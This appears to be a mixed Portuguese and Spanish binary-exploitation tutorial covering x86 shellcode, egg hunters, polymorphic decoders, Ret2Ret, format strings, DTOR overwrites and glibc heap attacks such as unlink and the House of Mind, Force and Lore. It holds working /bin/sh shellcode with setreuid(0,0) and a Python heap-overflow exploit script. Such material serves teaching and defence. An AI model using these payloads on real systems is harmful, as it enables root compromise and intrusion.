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2.SHELLCODE
Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pois não há argumento para passar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Executar syscall
nasm -f elf assembly.asm —> Retorna um .o
ld assembly.o -o shellcodeout —> Gera um executável com o código assembly e podemos extrair os opcodes com objdump
objdump -d -Mintel ./shellcodeout —> Para verificar se é realmente nosso shellcode e extrair os OpCodes
Verificar se o shellcode funciona
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Para verificar se as chamadas de sistema estão sendo feitas corretamente, compile o programa anterior e as chamadas de sistema devem aparecer em strace ./PROGRAMA_COMPILADO
Ao criar shellcodes, um truque pode ser realizado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código.
EX TRUQUE (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ usando o Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Caçador de Ovos:
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali armazenada (procura por alguma assinatura na shellcode). Útil nos casos em que há pouco espaço disponível para injetar código.
Shellcodes Polimórficos
São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um exemplo de cifra de César:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Métodos complementares
Ret2Ret
Útil quando não é possível inserir um endereço de stack no EIP (verifica-se que o EIP não contém 0xbf) ou quando não é possível calcular a localização da shellcode. No entanto, a função vulnerável aceita um parâmetro (onde a shellcode será colocada).
Dessa forma, ao alterar o EIP por um endereço de ret, a próxima instrução será carregada (que é o endereço do primeiro argumento da função). Ou seja, a shellcode será carregada.
O exploit seria: SHELLCODE + Preenchimento (até o EIP) + &ret (os próximos bytes da pilha apontam para o início da shellcode, pois o endereço do argumento passado é colocado na pilha)
Parece que funções como strncpy, uma vez completas, removem da pilha o endereço onde a shellcode estava armazenada, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena a shellcode) é modificado por um 0x00, então ao chamar o segundo ret, encontra-se com um 0x00 e o programa trava.
Técnica de Murat
No Linux, todos os programas são mapeados começando em 0xbfffffff.
Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_do_executável_completo) - strlen(shellcode)
Dessa forma, é possível obter facilmente o endereço onde está a variável de ambiente com a shellcode.
Isso é possível graças à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.
Jump to ESP: Estilo Windows
Como o ESP está sempre apontando para o início da pilha, essa técnica consiste em substituir o EIP pelo endereço de uma chamada para jmp esp ou call esp. Assim, a shellcode é armazenada após a sobrescrita do EIP, pois após executar o ret, o ESP estará apontando para o próximo endereço, exatamente onde a shellcode foi armazenada.
Caso o ASLR não esteja ativo no Windows ou Linux, é possível chamar jmp esp ou call esp armazenados em algum objeto compartilhado. Se o ASLR estiver ativo, pode-se procurar dentro do próprio programa vulnerável.
Além disso, o fato de poder colocar a shellcode após a corrupção do EIP em vez de no meio da pilha permite que as instruções push ou pop executadas no meio da função não afetem a shellcode (o que poderia ocorrer se estivesse no meio da pilha da função).
De forma muito semelhante a isso, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, é possível chamar call eax ou jmp eax (ret2eax).
Estouro de inteiros
Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
En exemplo anterior, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string.
Se passarmos um número negativo como primeiro parâmetro, será exibido que len < 256 e passaremos por esse filtro, e também strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.
Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.
Variáveis não inicializadas
Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observar isso. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
.fini_array
Essencialmente, esta é uma estrutura com funções que serão chamadas antes do programa terminar. Isso é interessante se você puder chamar seu shellcode apenas pulando para um endereço, ou em casos em que você precisa voltar ao main novamente para explorar a string de formato uma segunda vez.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Note que isso não criará um loop eterno porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso você poderá ter mais 1 execução da vulnerabilidade.
Formatar Strings para Extrair Conteúdo
Uma string de formatação também pode ser abusada para extrair conteúdo da memória do programa.
Por exemplo, na seguinte situação há uma variável local na pilha apontando para uma flag. Se você encontrar onde na memória o ponteiro para a flag está, você pode fazer o printf acessar esse endereço e imprimir a flag:
Então, a flag está em 0xffffcf4c
E a partir do vazamento você pode ver que o ponteiro para a flag está no 8º parâmetro:
Portanto, acessando o 8º parâmetro você pode obter a flag:
Note que seguindo o exploit anterior e percebendo que você pode vazar conteúdo, você pode definir ponteiros para o printf na seção onde o executável está carregado e extrair ele inteiramente!
DTOR
{% hint style="danger" %} Atualmente é muito incomum encontrar um binário com uma seção dtor. {% endhint %}
Os destrutores são funções que são executadas antes do programa terminar.
Se você conseguir escrever um endereço para um shellcode em __DTOR_END__, isso será executado antes do programa terminar.
Obtenha o endereço desta seção com:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
Normalmente você encontrará a seção DTOR entre os valores ffffffff e 00000000. Portanto, se você apenas ver esses valores, significa que não há nenhuma função registrada. Portanto, sobrescreva o 00000000 com o endereço do shellcode para executá-lo.
Strings de Formato para Estouros de Buffer
O sprintf move uma string formatada para uma variável. Portanto, você poderia abusar da formatação de uma string para causar um estouro de buffer na variável para onde o conteúdo é copiado.
Por exemplo, a carga %.44xAAAA irá escrever 44B+"AAAA" na variável, o que pode causar um estouro de buffer.
Estruturas __atexit
{% hint style="danger" %} Atualmente é muito incomum explorar isso. {% endhint %}
atexit() é uma função para a qual outras funções são passadas como parâmetros. Essas funções serão executadas ao executar um exit() ou o retorno do main.
Se você puder modificar o endereço de qualquer uma dessas funções para apontar para um shellcode, por exemplo, você obterá controle sobre o processo, mas atualmente isso é mais complicado.
Atualmente, os endereços das funções a serem executadas estão ocultos por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são criptografados com XOR e deslocamentos com uma chave aleatória. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64_86.
A função de criptografia é PTR_MANGLE. Outras arquiteturas como m68k, mips32, mips64, aarch64, arm, hppa... não implementam a função de criptografia porque retornam o mesmo que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
setjmp() & longjmp()
{% hint style="danger" %} Atualmente é muito incomum explorar isso. {% endhint %}
Setjmp() permite salvar o contexto (os registradores)
longjmp() permite restaurar o contexto.
Os registradores salvos são: EBX, ESI, EDI, ESP, EIP, EBP
O que acontece é que EIP e ESP são passados pela função PTR_MANGLE, então as arquiteturas vulneráveis a esse ataque são as mesmas acima.
Eles são úteis para recuperação de erros ou interrupções.
No entanto, pelo que li, os outros registradores não são protegidos, então se houver um call ebx, call esi ou call edi dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
VTable e VPTR em C++
Cada classe tem uma Vtable que é um array de ponteiros para métodos.
Cada objeto de uma classe tem um VPtr que é um ponteiro para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma sobrescrita do VPtr for alcançada, poderia ser modificado para apontar para um método fictício para que a execução de uma função vá para o shellcode.
Medidas Preventivas e Evasões
Substituição do Libsafe
Ativado por: LD_PRELOAD=/lib/libsafe.so.2
ou
“/lib/libsave.so.2” > /etc/ld.so.preload
Ele intercepta chamadas para algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).
Espaço de Endereço ASCII Armored
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
ret2plt
Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o 2º byte de system()... Por fim, a chamada é feita para o endereço armazenado na GOT que será system()
Jaulas com chroot()
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico
Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
Instrumentação de Código
Valgrind —> Procura por erros
Memcheck
RAD (Return Address Defender)
Insure++
8 Estouros de Heap: Exploits Básicos
Chunk Alocado
prev_size |
size | —Cabeçalho
*mem | Dados
Chunk Livre
prev_size |
size |
*fd | Ptr chunk seguinte
*bk | Ptr chunk anterior —Cabeçalho
*mem | Dados
Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois chunks livres juntos (eles são unidos)
No “size” há bits para indicar: Se o chunk anterior está em uso, se o chunk foi alocado por meio de mmap() e se o chunk pertence à arena primária.
Ao liberar um chunk, se algum dos chunks contíguos estiver livre, eles são fundidos pela macro unlink() e o novo chunk maior é passado para frontlink() para que seja inserido no bin apropriado.
unlink(){
BK = P->bk; —> O BK do novo chunk é o que o chunk que já estava livre antes tinha
FD = P->fd; —> O FD do novo chunk é o que o chunk que já estava livre antes tinha
FD->bk = BK; —> O BK do chunk seguinte aponta para o novo chunk
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk
}
Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, é possível:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
E assim, o shellcode é executado ao sair do programa.
Além disso, a 4ª instrução de unlink() escreve algo e o shellcode precisa ser ajustado para isso:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Isso resulta na escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para pular isso e chegar a uns nops que levem ao restante do shellcode.
Portanto, o exploit é criado:
No buffer1, insira o shellcode começando com um jmp para que ele caia nos nops ou no restante do shellcode.
Após o shellcode, insira preenchimento até chegar ao campo prev_size e size do próximo chunk. Nestes locais, insira 0xfffffff0 (para sobrescrever o prev_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º chunk se o 2º estava livre, na realidade vá para o prev_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na realidade irá para o 2º - 4 e pensará que o 2º chunk está livre. E então chamará unlink().
Ao chamar unlink(), ele usará os primeiros dados do 2º chunk como P->fd, então o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele adicionará 12 ao endereço armazenado em FD) será inserido lá. E nesse endereço, insira o segundo endereço encontrado no 2º chunk, que deve ser o endereço do shellcode (P->bk falso).
from struct import *
import os shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
En ese caso:
En el chunck c se pone el shellcode
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre.
Además, se sobreescribe en la cabecera b el size para que valga -4.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
Técnica de Frontlink
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
Necesita:
Un buffer que pueda desbordarse con la función de entrada de datos
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
Vulnerabilidad double free()
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
After free()
Un puntero previamente liberado es usado de nuevo sin control.
8 Heap Overflows: Exploits avanzados
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
The house of mind
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
Una llamada a free() provoca llamar a public_fREe(mem), este hace:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
En [1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en 0x081002a0 podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo 0x0804a000. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)
De esta forma se llama a _int_free(ar_ptr, mem), es decir, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
Tal y como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Por lo tanto si en av->bins[2] escribimos el valor de __DTOR_END__-12 en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo trozo.
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de __DTOR_END__-12 porque de ahí la sacará av->bins[2]
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins[2]
En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA
A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
De esta forma se llamará a _int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en __DTOR_END__ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. Para aplicar esta técnica, é necessário atender a alguns requisitos adicionais que complicam um pouco mais o payload.
Esta técnica não é mais aplicável, pois foi aplicado quase o mesmo patch que para unlink. Verifica-se se o novo local para onde se aponta também está apontando para ele.
Fastbin
É uma variante de The house of mind
Interessa-nos executar o seguinte código após a primeira verificação da função _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Sendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Desta forma, se for colocado em "fb", ele aponta para uma função na GOT, onde será colocada a direção do chunk sobrescrito. Para isso, é necessário que a arena esteja próxima das direções de dtors. Mais precisamente, av->max_fast deve estar na direção que será sobrescrita.
Dado que com The House of Mind vimos que controlávamos a posição do av.
Então, se no campo size for inserido um tamanho de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() retornará fastbins[-1], que apontará para av->max_fast
Neste caso, av->max_fast será a direção que será sobrescrita (não para onde aponta, mas essa posição será sobrescrita).
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 8, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops).
Além disso, esse mesmo chunk falso deve ser menor que av->system_mem. av->system_mem está 1848 bytes adiante.
Devido aos nulos de _DTOR_END_ e às poucas direções na GOT, nenhum desses endereços dessas seções serve para serem sobrescritos, então vejamos como aplicar fastbin para atacar a pilha.
Outra forma de ataque é redirecionar o av para a pilha.
Se modificarmos o size para ser 16 em vez de 8, então: fastbin_index() retornará fastbins[0] e podemos usar isso para sobrescrever a pilha.
Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, devemos encontrar o seguinte: 4 bytes nulos + EBP + RET
Os 4 bytes nulos são necessários para que o av esteja nessa direção e o primeiro elemento de um av é o mutex que deve ser igual a 0.
O av->max_fast será o EBP e será um valor que nos permitirá ignorar as restrições.
No av->fastbins[0] será sobrescrito com o endereço de p e será o RET, assim a shellcode será executada.
Além disso, em av->system_mem (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é realizada.
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 16, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops que vêm após o campo size do novo chunk falso).
The House of Spirit
Neste caso, buscamos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, o ponteiro está na pilha abaixo de um possível overflow para uma variável).
Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do chunk falso deve ser menor que av->max_fast e mais especificamente igual ao tamanho solicitado em uma chamada futura para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é feita uma chamada para malloc(40), o tamanho do chunk falso deve ser igual a 48.
Por exemplo, se o programa perguntar ao usuário por um número, poderíamos inserir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 ficaria atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system_mem.
Caso isso seja cumprido, quando a próxima chamada para malloc que dissemos que era malloc(40) for feita, o endereço atribuído será o endereço do EBP. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado.
Acredito que isso ocorre porque quando o free() é chamado, ele armazenará que no endereço apontado pelo EBP da pilha há um chunk de tamanho perfeito para o novo malloc() que está sendo reservado, então ele atribui esse endereço.
The House of Force
É necessário:
- Um overflow para um chunk que permita sobrescrever o wilderness
- Uma chamada para malloc() com o tamanho definido pelo usuário
- Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória grande seja tratada em _int_malloc() sem a necessidade de expandir o heap.
O segundo passo é alterar o av->top para apontar para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado &EIP - 8.
É necessário sobrescrever av->top para apontar para a área de memória sob o controle do atacante:
vítima = av->top;
restante = chunck_at_offset(vítima, nb);
av->top = restante;
A vítima obtém o valor da direção do chunk wilderness atual (o av->top atual) e o restante é exatamente a soma dessa direção mais a quantidade de bytes solicitados por malloc(). Portanto, se &EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
É importante que o tamanho do novo chunk wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para &EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
The House of Lore
Corrupção SmallBin
Os chunks liberados são inseridos no bin de acordo com seu tamanho. Mas antes de serem inseridos, são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for reservado e o anterior liberado puder ser útil, ele será retornado, mas se for reservado um chunk maior, o chunk liberado em unsorted bins será colocado em seu bin apropriado.
Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max_fast (normalmente 72) e menor que MIN_LARGE_SIZE (512).
Se houver um chunk no bin do tamanho adequado ao que está sendo solicitado, ele será retornado após ser desvinculado:
bck = vítima->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.
bin->bk = bck; O penúltimo chunk se torna o último, caso bck aponte para a pilha, o próximo chunk reservado receberá esse endereço.
bck->fd = bin; A lista é fechada fazendo com que ele aponte para bin
São necessários: Reserve dois malloc, de modo que o primeiro possa sofrer overflow após o segundo ter sido liberado e inserido em seu bin (ou seja, um malloc maior que o segundo deve ser reservado antes do overflow).
O malloc reservado com o endereço escolhido pelo atacante deve ser controlado pelo atacante.
O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tenha um pedaço liberado e em seu bin abaixo, podemos alterar seu ponteiro bk. Ao alterar o ponteiro bk e se esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o próximo pedaço da lista está na falsa direção que escolhemos (como stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, um pedaço na posição desejada será fornecido e poderá ser escrito.
Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos unsorted bins e seja inserido em seu bin.
Uma vez no bin, é hora de modificar o ponteiro bk através do overflow para que aponte para o endereço que desejamos sobrescrever.
Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está na direção falsa. Em seguida, o pedaço desejado será fornecido.
Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reservar o pedaço vulnerável, reservar o pedaço a ser modificado, liberar esse pedaço, reservar um pedaço maior do que o a ser modificado, modificar o pedaço (vulnerabilidade), reservar um pedaço do mesmo tamanho do vulnerado e reservar um segundo pedaço do mesmo tamanho, que apontará para o endereço escolhido.
Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para a vítima. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço correto da vítima. Para que pareça um pedaço verdadeiro.
Corrupção LargeBin
São necessários os mesmos requisitos que antes e alguns adicionais, além disso, os pedaços reservados devem ser maiores que 512.
O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.
Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
Heap Spraying
Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. Assim, tenta-se saltar para o endereço 0x0c0c0c0c e, se alguma direção for sobrescrita com esse colchão, o controle será transferido para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c, esperando que haja nops lá.
Heap Feng Shui
Consiste em semear a memória por meio de reservas e liberações para que pedaços reservados fiquem entre pedaços livres. O buffer a ser estourado será colocado em um desses pedaços.
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